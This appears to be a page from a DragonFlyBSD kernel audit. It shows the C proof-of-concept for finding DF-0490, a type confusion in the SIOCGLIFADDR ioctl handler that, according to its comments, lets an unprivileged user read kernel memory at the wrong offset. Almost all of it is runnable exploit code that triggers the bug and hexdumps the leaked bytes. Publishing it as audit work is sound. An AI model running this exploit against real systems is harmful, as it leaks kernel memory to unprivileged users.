DragonFlyBSD Kernel Audit
DF-0490 / poc_df0490.c
← back to finding ↓ download raw
/*
 * DF-0490 PoC - Type confusion in in_lifaddr_ioctl (SIOCGLIFADDR)
 *
 * sys/netinet/in.c:911 uses AF_INET6 inside the IPv4 handler in_lifaddr_ioctl.
 * The loop skips all IPv4 addresses and matches IPv6 addresses, then casts an
 * in6_ifaddr* to in_ifaddr* (line 923) -> type confusion. ia_addr is read from
 * a WRONG offset (in_ifaddr.ia_addr sits ~68 bytes past ifaddr; in6_ifaddr.ia_addr
 * sits immediately after ifaddr), so bcopy at line 927 copies garbage/wrong-offset
 * kernel memory to userspace.
 *
 * SIOCGLIFADDR has NO privilege check (in.c:443-446 falls straight through),
 * so this is reachable by an unprivileged user.
 *
 * Build: cc -o poc_df0490 poc_df0490.c
 * Run:   ./poc_df0490 [ifname]   (default vtnet0)
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static void hexdump(const char *label, const void *p, int len)
{
	const unsigned char *b = p;
	int i;
	printf("%s (len=%d):\n", label, len);
	for (i = 0; i < len; i++) {
		if (i && (i % 16 == 0)) printf("\n");
		printf("%02x ", b[i]);
	}
	printf("\n");
}

int main(int argc, char **argv)
{
	const char *ifname = (argc > 1) ? argv[1] : "vtnet0";
	int s, rc;
	struct if_laddrreq iflr;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return 2;
	}

	/* First: show our credentials */
	printf("uid=%d euid=%d\n", getuid(), geteuid());

	/* ---- Test 1: SIOCGLIFADDR (plain, no IFLR_PREFIX) ---- */
	memset(&iflr, 0, sizeof(iflr));
	strncpy(iflr.iflr_name, ifname, IFNAMSIZ-1);

	printf("\n=== SIOCGLIFADDR on %s (cmp=0 path) ===\n", ifname);
	rc = ioctl(s, SIOCGLIFADDR, &iflr);
	if (rc < 0) {
		printf("SIOCGLIFADDR FAILED: errno=%d (%s)\n", errno, strerror(errno));
		/* EADDRNOTAVAIL means the loop found NO AF_INET6 entry -> skipped all v4 */
		if (errno == ENXIO || errno == EADDRNOTAVAIL)
			printf("  -> loop skipped all IPv4 addrs (type-confusion filter AF_INET6)\n");
	} else {
		struct sockaddr_in *sin = (struct sockaddr_in *)&iflr.addr;
		printf("SIOCGLIFADDR OK\n");
		printf("addr.ss_family = %d (AF_INET=%d AF_INET6=%d)\n",
		       iflr.addr.ss_len ? ((struct sockaddr*)&iflr.addr)->sa_family : -1,
		       AF_INET, AF_INET6);
		printf("addr.ss_len = %d\n", iflr.addr.ss_len);
		hexdump("addr raw", &iflr.addr, sizeof(iflr.addr));
		if (iflr.addr.ss_len >= sizeof(struct sockaddr_in) &&
		    ((struct sockaddr*)&iflr.addr)->sa_family == AF_INET) {
			printf("decoded IPv4 addr: %s\n", inet_ntoa(sin->sin_addr));
		}
		printf("prefixlen = %d flags=0x%x\n", iflr.prefixlen, iflr.flags);
	}

	/* ---- Cross-check: what SIOCGIFADDR returns (the correct IPv4 addr) ---- */
	struct ifreq ifr;
	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, ifname, IFNAMSIZ-1);
	rc = ioctl(s, SIOCGIFADDR, &ifr);
	if (rc == 0) {
		struct sockaddr_in *sa = (struct sockaddr_in *)&ifr.ifr_addr;
		printf("\n[reference] SIOCGIFADDR %s -> %s (the REAL IPv4 addr)\n",
		       ifname, inet_ntoa(sa->sin_addr));
	}

	close(s);
	return 0;
}